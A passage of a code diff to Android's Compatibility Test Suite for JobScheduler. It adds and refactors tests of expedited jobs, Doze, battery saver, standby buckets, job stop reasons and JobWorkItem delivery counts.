+    public void testExpeditedJobBypassesDeviceIdle_toggling() throws Exception {
+        assumeTrue("device idle not enabled", mDeviceIdleEnabled);
+
+        toggleDozeState(false);
+        mTestAppInterface.scheduleJob(false, JobInfo.NETWORK_TYPE_NONE, true);
+        runJob();
+        assertTrue("Job did not start after scheduling",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+        toggleDozeState(true);
+        assertFalse("Job stopped when device enabled turned on",
+                mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+    }
+
+    @Test
+    public void testExpeditedJobDeferredAfterTimeoutInDoze() throws Exception {
+        assumeTrue("device idle not enabled", mDeviceIdleEnabled);
+        mDeviceConfigStateHelper.set("runtime_min_ej_guarantee_ms", Long.toString(60_000L));
+
+        toggleDozeState(true);
+        mTestAppInterface.scheduleJob(false, JobInfo.NETWORK_TYPE_NONE, true);
+        runJob();
+        assertTrue("Job did not start after scheduling",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+        assertTrue("Job did not stop after timeout", mTestAppInterface.awaitJobStop(70_000L));
+        assertEquals(JobParameters.STOP_REASON_DEVICE_STATE,
+                mTestAppInterface.getLastParams().getStopReason());
+        // Should be rescheduled.
+        assertJobNotReady();
+        assertJobWaiting();
+        Thread.sleep(TestJobSchedulerReceiver.JOB_INITIAL_BACKOFF);
+        runJob();
+        assertFalse("Job started after timing out in Doze",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+
+        // Should start when Doze is turned off.
+        toggleDozeState(false);
+        assertTrue("Job did not start after Doze turned off",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+    }
+
+    @Test
+    public void testExpeditedJobDeferredAfterTimeoutInBatterySaver() throws Exception {
+        BatteryUtils.assumeBatterySaverFeature();
+
+        mDeviceConfigStateHelper.set("runtime_min_ej_guarantee_ms", Long.toString(60_000L));
+
+        BatteryUtils.runDumpsysBatteryUnplug();
+        BatteryUtils.enableBatterySaver(true);
+        mTestAppInterface.scheduleJob(false, JobInfo.NETWORK_TYPE_NONE, true);
+        runJob();
+        assertTrue("Job did not start after scheduling",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+        assertTrue("Job did not stop after timeout", mTestAppInterface.awaitJobStop(70_000L));
+        assertEquals(JobParameters.STOP_REASON_DEVICE_STATE,
+                mTestAppInterface.getLastParams().getStopReason());
+        // Should be rescheduled.
+        assertJobNotReady();
+        assertJobWaiting();
+        Thread.sleep(TestJobSchedulerReceiver.JOB_INITIAL_BACKOFF);
+        runJob();
+        assertFalse("Job started after timing out in battery saver",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+
+        // Should start when battery saver is turned off.
+        BatteryUtils.enableBatterySaver(false);
+        assertTrue("Job did not start after battery saver turned off",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+    }
+
+    @Test
+    public void testExpeditedJobDeferredAfterTimeout_DozeAndBatterySaver() throws Exception {
+        BatteryUtils.assumeBatterySaverFeature();
+        assumeTrue("device idle not enabled", mDeviceIdleEnabled);
+        mDeviceConfigStateHelper.set("runtime_min_ej_guarantee_ms", Long.toString(60_000L));
+
+        BatteryUtils.runDumpsysBatteryUnplug();
+        toggleDozeState(true);
+        mTestAppInterface.scheduleJob(false, JobInfo.NETWORK_TYPE_NONE, true);
+        runJob();
+        assertTrue("Job did not start after scheduling",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+        assertTrue("Job did not stop after timeout", mTestAppInterface.awaitJobStop(70_000L));
+        assertEquals(JobParameters.STOP_REASON_DEVICE_STATE,
+                mTestAppInterface.getLastParams().getStopReason());
+        // Should be rescheduled.
+        assertJobNotReady();
+        assertJobWaiting();
+        // Battery saver kicks in before Doze ends. Job shouldn't start while BS is on.
+        BatteryUtils.enableBatterySaver(true);
+        toggleDozeState(false);
+        Thread.sleep(TestJobSchedulerReceiver.JOB_INITIAL_BACKOFF);
+        runJob();
+        assertFalse("Job started while power restrictions active after timing out",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+
+        // Should start when battery saver is turned off.
+        BatteryUtils.enableBatterySaver(false);
+        assertTrue("Job did not start after power restrictions turned off",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+    }
+
+    @Test
+    public void testLongExpeditedJobStoppedByDoze() throws Exception {
+        assumeTrue("device idle not enabled", mDeviceIdleEnabled);
+        mDeviceConfigStateHelper.set("runtime_min_ej_guarantee_ms", Long.toString(60_000L));
+
+        toggleDozeState(false);
+        mTestAppInterface.scheduleJob(false, JobInfo.NETWORK_TYPE_NONE, true);
+        runJob();
+        assertTrue("Job did not start after scheduling",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+        // Should get to run past min runtime.
+        assertFalse("Job stopped after min runtime", mTestAppInterface.awaitJobStop(90_000L));
+
+        // Should stop when Doze is turned on.
+        toggleDozeState(true);
+        assertTrue("Job did not stop after Doze turned on",
+                mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+        assertEquals(JobParameters.STOP_REASON_DEVICE_STATE,
+                mTestAppInterface.getLastParams().getStopReason());
+    }
+
+    @Test
+    public void testLongExpeditedJobStoppedByBatterySaver() throws Exception {
+        BatteryUtils.assumeBatterySaverFeature();
+
+        mDeviceConfigStateHelper.set("runtime_min_ej_guarantee_ms", Long.toString(60_000L));
+
+        BatteryUtils.runDumpsysBatteryUnplug();
+        BatteryUtils.enableBatterySaver(false);
+        mTestAppInterface.scheduleJob(false, JobInfo.NETWORK_TYPE_NONE, true);
+        runJob();
+        assertTrue("Job did not start after scheduling",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+        // Should get to run past min runtime.
+        assertFalse("Job stopped after runtime", mTestAppInterface.awaitJobStop(90_000L));
+
+        // Should stop when battery saver is turned on.
+        BatteryUtils.enableBatterySaver(true);
+        assertTrue("Job did not stop after battery saver turned on",
+                mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+        assertEquals(JobParameters.STOP_REASON_DEVICE_STATE,
+                mTestAppInterface.getLastParams().getStopReason());
+    }
+
+    @Test
+    public void testRestrictingStopReason_RestrictedBucket() throws Exception {
+        assumeTrue("app standby not enabled", mAppStandbyEnabled);
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
+        assumeFalse("not testable in leanback device", mLeanbackOnly);
+
+        assumeTrue(mHasWifi);
+        ensureSavedWifiNetwork(mWifiManager);
+
+        setRestrictedBucketEnabled(true);
+        setTestPackageStandbyBucket(Bucket.RESTRICTED);
+
+        // Disable coalescing and the parole session
+        mDeviceConfigStateHelper.set("qc_timing_session_coalescing_duration_ms", "0");
+        mDeviceConfigStateHelper.set("qc_max_session_count_restricted", "0");
+
+        // Satisfy all additional constraints.
+        setAirplaneMode(false);
+        setWifiState(true, mCm, mWifiManager);
+        BatteryUtils.runDumpsysBatterySetPluggedIn(true);
+        BatteryUtils.runDumpsysBatterySetLevel(100);
+        setScreenState(false);
+        triggerJobIdle();
+
+        // Toggle individual constraints
+
+        // Connectivity
+        mTestAppInterface.scheduleJob(false, NETWORK_TYPE_ANY, false);
+        runJob();
+        assertTrue("New job didn't start in RESTRICTED bucket",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+        setAirplaneMode(true);
+        assertTrue("New job didn't stop when connectivity dropped",
+                mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+        assertEquals(JobParameters.STOP_REASON_CONSTRAINT_CONNECTIVITY,
+                mTestAppInterface.getLastParams().getStopReason());
+        setAirplaneMode(false);
+        setWifiState(true, mCm, mWifiManager);
+
+        // Idle
+        mTestAppInterface.scheduleJob(false, NETWORK_TYPE_ANY, false);
+        runJob();
+        assertTrue("New job didn't start in RESTRICTED bucket",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+        setScreenState(true);
+        assertTrue("New job didn't stop when device no longer idle",
+                mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+        assertEquals(JobParameters.STOP_REASON_APP_STANDBY,
+                mTestAppInterface.getLastParams().getStopReason());
+        setScreenState(false);
+        triggerJobIdle();
+
+        // Charging
+        mTestAppInterface.scheduleJob(false, NETWORK_TYPE_ANY, false);
+        runJob();
+        assertTrue("New job didn't start in RESTRICTED bucket",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+        BatteryUtils.runDumpsysBatteryUnplug();
+        assertTrue("New job didn't stop when device no longer charging",
+                mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+        assertEquals(JobParameters.STOP_REASON_APP_STANDBY,
+                mTestAppInterface.getLastParams().getStopReason());
+        BatteryUtils.runDumpsysBatterySetPluggedIn(true);
+        BatteryUtils.runDumpsysBatterySetLevel(100);
+
+        // Battery not low
+        setScreenState(false);
+        triggerJobIdle();
+        mTestAppInterface.scheduleJob(false, NETWORK_TYPE_ANY, false);
+        runJob();
+        assertTrue("New job didn't start in RESTRICTED bucket",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+        BatteryUtils.runDumpsysBatterySetLevel(1);
+        assertTrue("New job didn't stop when battery too low",
+                mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+        assertEquals(JobParameters.STOP_REASON_APP_STANDBY,
+                mTestAppInterface.getLastParams().getStopReason());
+    }
+
+    @Test
+    public void testRestrictingStopReason_Quota() throws Exception {
+        // Reduce allowed time for testing.
+        mDeviceConfigStateHelper.set("qc_allowed_time_per_period_ms", "60000");
+        BatteryUtils.runDumpsysBatteryUnplug();
+        setTestPackageStandbyBucket(Bucket.RARE);
+
+        sendScheduleJobBroadcast(false);
+        runJob();
+        assertTrue("New job didn't start",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+
+        Thread.sleep(60000);
+
+        assertTrue("New job didn't stop after using up quota",
+                mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+        assertEquals(JobParameters.STOP_REASON_QUOTA,
+                mTestAppInterface.getLastParams().getStopReason());
+    }
+
+    @Test
+    public void testRestrictingStopReason_BatterySaver() throws Exception {
+        BatteryUtils.assumeBatterySaverFeature();
+
+        BatteryUtils.runDumpsysBatteryUnplug();
+        BatteryUtils.enableBatterySaver(false);
+        sendScheduleJobBroadcast(false);
+        runJob();
+        assertTrue("Job did not start after scheduling",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+
+        BatteryUtils.enableBatterySaver(true);
+        assertTrue("Job did not stop on entering battery saver",
+                mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+        assertEquals(JobParameters.STOP_REASON_DEVICE_STATE,
+                mTestAppInterface.getLastParams().getStopReason());
+    }
+
+    @Test
+    public void testRestrictingStopReason_Doze() throws Exception {
+        assumeTrue("device idle not enabled", mDeviceIdleEnabled);
+
+        toggleDozeState(false);
+        mTestAppInterface.scheduleJob(false, NETWORK_TYPE_NONE, false);
+        runJob();
+        assertTrue("Job did not start after scheduling",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+
+        toggleDozeState(true);
+        assertTrue("Job did not stop on entering doze",
+                mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+        assertEquals(JobParameters.STOP_REASON_DEVICE_STATE,
+                mTestAppInterface.getLastParams().getStopReason());
+    }
+
     @After
     public void tearDown() throws Exception {
         AppOpsUtils.reset(TEST_APP_PACKAGE);
         // Lock thermal service to not throttling
         ThermalUtils.overrideThermalNotThrottling();
         if (mDeviceIdleEnabled) {
-            toggleDeviceIdleState(false);
+            toggleDozeState(false);
         }
         mTestAppInterface.cleanup();
-        BatteryUtils.runDumpsysBatterySaverOff();
         BatteryUtils.runDumpsysBatteryReset();
         BatteryUtils.enableBatterySaver(false);
         removeTestAppFromTempWhitelist();
 
         // Ensure that we leave WiFi in its previous state.
-        if (mWifiManager.isWifiEnabled() != mInitialWiFiState) {
+        if (mHasWifi && mWifiManager.isWifiEnabled() != mInitialWiFiState) {
             try {
                 setWifiState(mInitialWiFiState, mCm, mWifiManager);
             } catch (AssertionFailedError e) {
@@ -528,8 +917,7 @@
                 Log.e(TAG, "Failed to return wifi state to " + mInitialWiFiState, e);
             }
         }
-        Settings.Global.putString(mContext.getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_CONSTANTS, mInitialJobSchedulerConstants);
+        mDeviceConfigStateHelper.restoreOriginalValues();
         Settings.Global.putString(mContext.getContentResolver(),
                 Settings.Global.ENABLE_RESTRICTED_BUCKET, mInitialRestrictedBucketEnabled);
         if (isAirplaneModeOn() != mInitialAirplaneModeState) {
@@ -564,10 +952,10 @@
     }
 
     private void sendScheduleJobBroadcast(boolean allowWhileIdle) throws Exception {
-        mTestAppInterface.scheduleJob(allowWhileIdle, false);
+        mTestAppInterface.scheduleJob(allowWhileIdle, NETWORK_TYPE_ANY, false);
     }
 
-    private void toggleDeviceIdleState(final boolean idle) throws Exception {
+    private void toggleDozeState(final boolean idle) throws Exception {
         mUiDevice.executeShellCommand("cmd deviceidle " + (idle ? "force-idle" : "unforce"));
         assertTrue("Could not change device idle state to " + idle,
                 waitUntilTrue(SHELL_TIMEOUT, () -> {
@@ -586,7 +974,11 @@
         mUiDevice.executeShellCommand("am make-uid-idle --user current " + TEST_APP_PACKAGE);
     }
 
-    private void setTestPackageStandbyBucket(Bucket bucket) throws Exception {
+    void setTestPackageStandbyBucket(Bucket bucket) throws Exception {
+        setTestPackageStandbyBucket(mUiDevice, bucket);
+    }
+
+    static void setTestPackageStandbyBucket(UiDevice uiDevice, Bucket bucket) throws Exception {
         final String bucketName;
         switch (bucket) {
             case ACTIVE:
@@ -610,7 +1002,7 @@
             default:
                 throw new IllegalArgumentException("Requested unknown bucket " + bucket);
         }
-        mUiDevice.executeShellCommand("am set-standby-bucket " + TEST_APP_PACKAGE
+        uiDevice.executeShellCommand("am set-standby-bucket " + TEST_APP_PACKAGE
                 + " " + bucketName);
     }
 
@@ -625,6 +1017,7 @@
     private void setScreenState(boolean on) throws Exception {
         if (on) {
             mUiDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+            mUiDevice.executeShellCommand("wm dismiss-keyguard");
         } else {
             mUiDevice.executeShellCommand("input keyevent KEYCODE_SLEEP");
         }
@@ -655,12 +1048,47 @@
         return "enabled".equals(output);
     }
 
-    private void setAirplaneMode(boolean on) throws IOException {
-        if (on) {
-            mUiDevice.executeShellCommand("cmd connectivity airplane-mode enable");
-        } else {
-            mUiDevice.executeShellCommand("cmd connectivity airplane-mode disable");
-        }
+    private void setAirplaneMode(boolean on) throws Exception {
+        final CallbackAsserter airplaneModeBroadcastAsserter = CallbackAsserter.forBroadcast(
+                new IntentFilter(Intent.ACTION_AIRPLANE_MODE_CHANGED));
+        mUiDevice.executeShellCommand(
+                "cmd connectivity airplane-mode " + (on ? "enable" : "disable"));
+        airplaneModeBroadcastAsserter.assertCalled("Didn't get airplane mode changed broadcast",
+                15 /* 15 seconds */);
+        waitUntil("Networks didn't change to " + (!on ? " on" : " off"), 60 /* seconds */,
+                () -> {
+                    if (on) {
+                        return mCm.getActiveNetwork() == null
+                                && (!mHasWifi || !isWiFiConnected(mCm, mWifiManager));
+                    } else {
+                        return mCm.getActiveNetwork() != null;
+                    }
+                });
+        // Wait some time for the network changes to propagate. Can't use
+        // waitUntil(isAirplaneModeOn() == on) because the response quickly gives the new
+        // airplane mode status even though the network changes haven't propagated all the way to
+        // JobScheduler.
+        Thread.sleep(5000);
+    }
+
+    private String getJobState() throws Exception {
+        return mUiDevice.executeShellCommand("cmd jobscheduler get-job-state --user cur "
+                + TEST_APP_PACKAGE + " " + mTestJobId).trim();
+    }
+
+    private void assertJobWaiting() throws Exception {
+        String state = getJobState();
+        assertTrue("Job unexpectedly not waiting, in state: " + state, state.contains("waiting"));
+    }
+
+    private void assertJobNotReady() throws Exception {
+        String state = getJobState();
+        assertFalse("Job unexpectedly ready, in state: " + state, state.contains("ready"));
+    }
+
+    private void assertJobReady() throws Exception {
+        String state = getJobState();
+        assertTrue("Job unexpectedly not ready, in state: " + state, state.contains("ready"));
     }
 
     private boolean waitUntilTrue(long maxWait, Condition condition) throws Exception {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobWorkItemTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobWorkItemTest.java
new file mode 100644
index 0000000..e05969e
--- /dev/null
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobWorkItemTest.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler.cts;
+
+import android.app.job.JobInfo;
+import android.app.job.JobWorkItem;
+import android.content.Intent;
+import android.jobscheduler.MockJobService;
+
+import java.util.List;
+
+/**
+ * Tests related to created and reading JobWorkItem objects.
+ */
+public class JobWorkItemTest extends BaseJobSchedulerTest {
+    private static final int JOB_ID = JobWorkItemTest.class.hashCode();
+    private static final Intent TEST_INTENT = new Intent("some.random.action");
+
+    public void testIntentOnlyItem() {
+        JobWorkItem jwi = new JobWorkItem(TEST_INTENT);
+
+        assertEquals(TEST_INTENT, jwi.getIntent());
+        assertEquals(JobInfo.NETWORK_BYTES_UNKNOWN, jwi.getEstimatedNetworkDownloadBytes());
+        assertEquals(JobInfo.NETWORK_BYTES_UNKNOWN, jwi.getEstimatedNetworkUploadBytes());
+        // JobWorkItem hasn't been scheduled yet. Delivery count should be 0.
+        assertEquals(0, jwi.getDeliveryCount());
+    }
+
+    public void testItemWithEstimatedBytes() {
+        JobWorkItem jwi = new JobWorkItem(TEST_INTENT, 10, 20);
+
+        assertEquals(TEST_INTENT, jwi.getIntent());
+        assertEquals(10, jwi.getEstimatedNetworkDownloadBytes());
+        assertEquals(20, jwi.getEstimatedNetworkUploadBytes());
+        // JobWorkItem hasn't been scheduled yet. Delivery count should be 0.
+        assertEquals(0, jwi.getDeliveryCount());
+    }
+
+    public void testDeliveryCountBumped() throws Exception {
+        JobInfo jobInfo = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setOverrideDeadline(0)
+                .build();
+        JobWorkItem jwi = new JobWorkItem(TEST_INTENT, 10, 20);
+        // JobWorkItem hasn't been scheduled yet. Delivery count should be 0.
+        assertEquals(0, jwi.getDeliveryCount());
+
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setExpectedWork(new MockJobService.TestWorkItem[]{
+                new MockJobService.TestWorkItem(TEST_INTENT)});
+        kTestEnvironment.readyToWork();
+        mJobScheduler.enqueue(jobInfo, jwi);
+        runSatisfiedJob(JOB_ID);
+        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+
+        List<JobWorkItem> executedJWIs = kTestEnvironment.getLastReceivedWork();
+        assertEquals(1, executedJWIs.size());
+        assertEquals(1, executedJWIs.get(0).getDeliveryCount());
+    }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/StorageConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/StorageConstraintTest.java
index 8c211cf..3ff1e8e 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/StorageConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/StorageConstraintTest.java
@@ -69,7 +69,7 @@
      * Schedule a job that requires the device storage is not low, when it is actually not low.
      */
     public void testNotLowConstraintExecutes() throws Exception {
-        setStorageState(false);
+        setStorageStateLow(false);
 
         kTestEnvironment.setExpectedExecutions(1);
         kTestEnvironment.setExpectedWaitForRun();
@@ -89,7 +89,7 @@
      * Schedule a job that requires the device storage is not low, when it actually is low.
      */
     public void testNotLowConstraintFails() throws Exception {
-        setStorageState(true);
+        setStorageStateLow(true);
 
         kTestEnvironment.setExpectedExecutions(0);
         kTestEnvironment.setExpectedWaitForRun();
@@ -104,7 +104,7 @@
         // And for good measure, ensure the job runs once storage is okay.
         kTestEnvironment.setExpectedExecutions(1);
         kTestEnvironment.setExpectedWaitForRun();
-        setStorageState(false);
+        setStorageStateLow(false);
         assertJobReady();
         kTestEnvironment.readyToRun();
         assertTrue("Job with storage not low constraint did not fire when storage not low.",
@@ -115,7 +115,7 @@
      * Test that a job that requires the device storage is not low is stopped when it becomes low.
      */
     public void testJobStoppedWhenStorageLow() throws Exception {
-        setStorageState(false);
+        setStorageStateLow(false);
 
         kTestEnvironment.setExpectedExecutions(1);
         kTestEnvironment.setContinueAfterStart();
@@ -128,7 +128,7 @@
         assertTrue("Job with storage not low constraint did not fire when storage not low.",
                 kTestEnvironment.awaitExecution());
 
-        setStorageState(true);
+        setStorageStateLow(true);
         assertTrue("Job with storage not low constraint was not stopped when storage became low.",
                 kTestEnvironment.awaitStopped());
     }
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/TestAppInterface.java b/tests/JobScheduler/src/android/jobscheduler/cts/TestAppInterface.java
index d871a2b..8db459e 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/TestAppInterface.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/TestAppInterface.java
@@ -15,11 +15,21 @@
  */
 package android.jobscheduler.cts;
 
+import static android.app.ActivityManager.getCapabilitiesSummary;
+import static android.app.ActivityManager.procStateToString;
+import static android.jobscheduler.cts.jobtestapp.TestJobSchedulerReceiver.EXTRA_REQUEST_JOB_UID_STATE;
 import static android.jobscheduler.cts.jobtestapp.TestJobService.ACTION_JOB_STARTED;
 import static android.jobscheduler.cts.jobtestapp.TestJobService.ACTION_JOB_STOPPED;
+import static android.jobscheduler.cts.jobtestapp.TestJobService.INVALID_ADJ;
+import static android.jobscheduler.cts.jobtestapp.TestJobService.JOB_CAPABILITIES_KEY;
+import static android.jobscheduler.cts.jobtestapp.TestJobService.JOB_OOM_SCORE_ADJ_KEY;
 import static android.jobscheduler.cts.jobtestapp.TestJobService.JOB_PARAMS_EXTRA_KEY;
+import static android.jobscheduler.cts.jobtestapp.TestJobService.JOB_PROC_STATE_KEY;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
 
+import static org.junit.Assert.assertEquals;
+
+import android.app.ActivityManager;
 import android.app.job.JobParameters;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
@@ -29,9 +39,15 @@
 import android.jobscheduler.cts.jobtestapp.TestActivity;
 import android.jobscheduler.cts.jobtestapp.TestJobSchedulerReceiver;
 import android.os.SystemClock;
+import android.os.UserHandle;
 import android.server.wm.WindowManagerStateHelper;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CallbackAsserter;
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.util.Map;
+
 /**
  * Common functions to interact with the test app.
  */
@@ -46,7 +62,7 @@
     private final int mJobId;
 
     /* accesses must be synchronized on itself */
-    private final TestJobStatus mTestJobStatus = new TestJobStatus();
+    private final TestJobState mTestJobState = new TestJobState();
 
     TestAppInterface(Context ctx, int jobId) {
         mContext = ctx;
@@ -63,19 +79,43 @@
         cancelJobsIntent.setComponent(new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER));
         cancelJobsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         mContext.sendBroadcast(cancelJobsIntent);
-        mContext.sendBroadcast(new Intent(TestActivity.ACTION_FINISH_ACTIVITY));
+        closeActivity();
         mContext.unregisterReceiver(mReceiver);
-        mTestJobStatus.reset();
+        mTestJobState.reset();
     }
 
-    void scheduleJob(boolean allowWhileIdle, boolean needNetwork) {
+    void scheduleJob(boolean allowWhileIdle, int requiredNetworkType, boolean asExpeditedJob)
+            throws Exception {
+        scheduleJob(
+                Map.of(
+                        TestJobSchedulerReceiver.EXTRA_ALLOW_IN_IDLE, allowWhileIdle,
+                        TestJobSchedulerReceiver.EXTRA_AS_EXPEDITED, asExpeditedJob
+                ),
+                Map.of(
+                        TestJobSchedulerReceiver.EXTRA_REQUIRED_NETWORK_TYPE, requiredNetworkType
+                ));
+    }
+
+    void scheduleJob(Map<String, Boolean> booleanExtras, Map<String, Integer> intExtras)
+            throws Exception {
         final Intent scheduleJobIntent = new Intent(TestJobSchedulerReceiver.ACTION_SCHEDULE_JOB);
         scheduleJobIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
         scheduleJobIntent.putExtra(TestJobSchedulerReceiver.EXTRA_JOB_ID_KEY, mJobId);
-        scheduleJobIntent.putExtra(TestJobSchedulerReceiver.EXTRA_ALLOW_IN_IDLE, allowWhileIdle);
-        scheduleJobIntent.putExtra(TestJobSchedulerReceiver.EXTRA_REQUIRE_NETWORK_ANY, needNetwork);
+        booleanExtras.forEach(scheduleJobIntent::putExtra);
+        intExtras.forEach(scheduleJobIntent::putExtra);
         scheduleJobIntent.setComponent(new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER));
+
+        final CallbackAsserter resultBroadcastAsserter = CallbackAsserter.forBroadcast(
+                new IntentFilter(TestJobSchedulerReceiver.ACTION_JOB_SCHEDULE_RESULT));
         mContext.sendBroadcast(scheduleJobIntent);
+        resultBroadcastAsserter.assertCalled("Didn't get schedule job result broadcast",
+                15 /* 15 seconds */);
+    }
+
+    /** Asks (not forces) JobScheduler to run the job if constraints are met. */
+    void runSatisfiedJob() throws Exception {
+        SystemUtil.runShellCommand("cmd jobscheduler run -s"
+                + " -u " + UserHandle.myUserId() + " " + TEST_APP_PACKAGE + " " + mJobId);
     }
 
     void startAndKeepTestActivity() {
@@ -93,6 +133,10 @@
         }
     }
 
+    void closeActivity() {
+        mContext.sendBroadcast(new Intent(TestActivity.ACTION_FINISH_ACTIVITY));
+    }
+
     private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
         @Override
         public void onReceive(Context context, Intent intent) {
@@ -102,9 +146,18 @@
                 case ACTION_JOB_STOPPED:
                     final JobParameters params = intent.getParcelableExtra(JOB_PARAMS_EXTRA_KEY);
                     Log.d(TAG, "JobId: " + params.getJobId());
-                    synchronized (mTestJobStatus) {
-                        mTestJobStatus.running = ACTION_JOB_STARTED.equals(intent.getAction());
-                        mTestJobStatus.jobId = params.getJobId();
+                    synchronized (mTestJobState) {
+                        mTestJobState.running = ACTION_JOB_STARTED.equals(intent.getAction());
+                        mTestJobState.jobId = params.getJobId();
+                        mTestJobState.params = params;
+                        if (intent.getBooleanExtra(EXTRA_REQUEST_JOB_UID_STATE, false)) {
+                            mTestJobState.procState = intent.getIntExtra(JOB_PROC_STATE_KEY,
+                                    ActivityManager.PROCESS_STATE_NONEXISTENT);
+                            mTestJobState.capabilities = intent.getIntExtra(JOB_CAPABILITIES_KEY,
+                                    ActivityManager.PROCESS_CAPABILITY_NONE);
+                            mTestJobState.oomScoreAdj = intent.getIntExtra(JOB_OOM_SCORE_ADJ_KEY,
+                                    INVALID_ADJ);
+                        }
                     }
                     break;
             }
@@ -113,20 +166,32 @@
 
     boolean awaitJobStart(long maxWait) throws Exception {
         return waitUntilTrue(maxWait, () -> {
-            synchronized (mTestJobStatus) {
-                return (mTestJobStatus.jobId == mJobId) && mTestJobStatus.running;
+            synchronized (mTestJobState) {
+                return (mTestJobState.jobId == mJobId) && mTestJobState.running;
             }
         });
     }
 
     boolean awaitJobStop(long maxWait) throws Exception {
         return waitUntilTrue(maxWait, () -> {
-            synchronized (mTestJobStatus) {
-                return (mTestJobStatus.jobId == mJobId) && !mTestJobStatus.running;
+            synchronized (mTestJobState) {
+                return (mTestJobState.jobId == mJobId) && !mTestJobState.running;
             }
         });
     }
 
+    void assertJobUidState(int procState, int capabilities, int oomScoreAdj) {
+        synchronized (mTestJobState) {
+            assertEquals("procState expected=" + procStateToString(procState)
+                    + ",actual=" + procStateToString(mTestJobState.procState),
+                    procState, mTestJobState.procState);
+            assertEquals("capabilities expected=" + getCapabilitiesSummary(capabilities)
+                    + ",actual=" + getCapabilitiesSummary(mTestJobState.capabilities),
+                    capabilities, mTestJobState.capabilities);
+            assertEquals("Unexpected oomScoreAdj", oomScoreAdj, mTestJobState.oomScoreAdj);
+        }
+    }
+
     private boolean waitUntilTrue(long maxWait, Condition condition) throws Exception {
         final long deadLine = SystemClock.uptimeMillis() + maxWait;
         do {
@@ -135,12 +200,33 @@
         return condition.isTrue();
     }
 
-    private static final class TestJobStatus {
+    JobParameters getLastParams() {
+        synchronized (mTestJobState) {
+            return mTestJobState.params;
+        }
+    }
+
+    private static final class TestJobState {
         int jobId;
         boolean running;
+        int procState;
+        int capabilities;
+        int oomScoreAdj;
+        JobParameters params;
+
+        TestJobState() {
+            initState();
+        }
 
         private void reset() {
+            initState();
+        }
+
+        private void initState() {
             running = false;
+            procState = ActivityManager.PROCESS_STATE_NONEXISTENT;
+            capabilities = ActivityManager.PROCESS_CAPABILITY_NONE;
+            oomScoreAdj = INVALID_ADJ;
         }
     }
 
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/TimingConstraintsTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/TimingConstraintsTest.java
index d088502..43b352b 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/TimingConstraintsTest.java
